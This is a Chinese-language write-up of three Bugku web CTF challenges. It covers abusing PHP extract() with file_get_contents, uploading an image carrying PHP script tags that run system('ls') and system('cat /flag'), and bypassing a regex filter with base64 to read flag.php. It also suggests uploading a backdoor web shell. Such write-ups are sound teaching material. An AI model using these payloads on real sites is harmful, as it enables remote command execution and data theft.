题目源于bugku web

file_get_contents

解题

head
网址返回的内容如下

<?php
// 将get参数获得的变量和值组成的数组 转换为php程序的变量和值
extract($_GET);

// 检查变量是否存在
if (!empty($ac)){
// file_get_contents() 函数把整个文件读入一个字符串中。
// trim去除两端空格和特殊字符
$f = trim(file_get_contents($fn));
if ($ac === $f){
echo "<p>This is flag:" ." $flag</p>";
}else{
echo "<p>sorry!</p>";
}
}
?>
// 总结起来,就是:
// 1.读取文件内容为字符串,并且去除文件内容左右两边的空格
// 2.本题需要传入$ac和$fn两个变量
// 3.判断上传的字符串和本地文件的字符串是否对等

尝试构造url就变成了

http://114.67.175.224:14174/?fn=flag.txt&ac=bugku

如果可以使用伪协议的话,可以尝试构造为:
http://114.67.175.224:14174/?ac=1&fn=php://input
并且抓个包,在头部末空一行再输入1,放行数据包。

不过构造的伪协议不知道为什么没成功过……

最终得到的flag是这个
This is flag: flag{1c88af690ab416b04390b6c44cb96c3a}

flag

总结

PHP伪协议
PHP利用本地文件投机取巧

文件包含2

解题

题目
题目
题目

这道题的坑点在于我没有第一时间意识到文件包含要使用指定方式而不是直接访问地址。

// 文件名为:word.jpg

// 可执行脚本
<script language=php>system("ls")</script>
// 返回了当前目录
about hello.php index.php upload upload.php

// 可执行脚本
<script language=php>system("ls /")</script>
// 返回根目录,发现flag
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

// 可执行脚本
<script language=php>system("cat /flag")</script>
// 返回文件内容,得到flag
flag{67fc9d73eaa7f66ba90109ff41e45bc6}

flag

结论

文件包含–利用后缀绕过,并且使用代码进行查询
这道题的漏洞在于:上传文件后,利用文件的可执行漏洞,调用本地的文件系统命令去查询对应的文件和目录,造成了文件目录遍历的漏洞。

解题思路:

遇到文件上传时,可以考虑这样子解决
1.伪协议,例如php伪协议
2.后门文件上传,传入自己写好的后门后再尝试进行链接

有直接访问图像或者文件所在地址的连接
有查看可执行文件白名单后,上传可执行文件后访问根目录下文件的连接
3.文件包含解决:传入的变量是一个可执行文件

No one knows regex better than me

解题

打开题目后大致获得下面的代码:

<?php 
// 屏蔽所有的报错信息
error_reporting(0);
// 获取变量值
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
// 拼接
$second=$zero.$first;
// 正则表达式筛选拼接字符串是否包含关键字
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
$key=$second;
// 带着..或者flag关键字就排除
if(preg_match("/\.\.|flag/",$key)){
die("Noooood hacker!");
}else{
$third=$first;
// \056\160\150-->每个字符不大于8,判断为8进制
// \x70 --> 判断为十六进制编码
// 将八进制和十六进制转换为十进制,再将十进制换算为ASCII码,得到的完整正则表达式如下
// \|.php,且忽略大小写
if(preg_match("/\\|\056\160\150\x70/i",$third)){
// 从字符串第六个的位置开始截取,并且存储为后缀
$end=substr($third,5);
// 高亮 base64解码zero,并且与后缀相互连接
highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
}
}
}
else{
highlight_file(__FILE__);
}
?>


// 总结下来,就是:?zero=ZmxhZw==&first=aaaa|.php
// 得到flag
<?php
$flag="flag{0d53cb7ca00760f270c12514f9920d62}";
?>

总结

PHP正则表达式当中表达式的识别
base64绕过正则表达式
八进制解码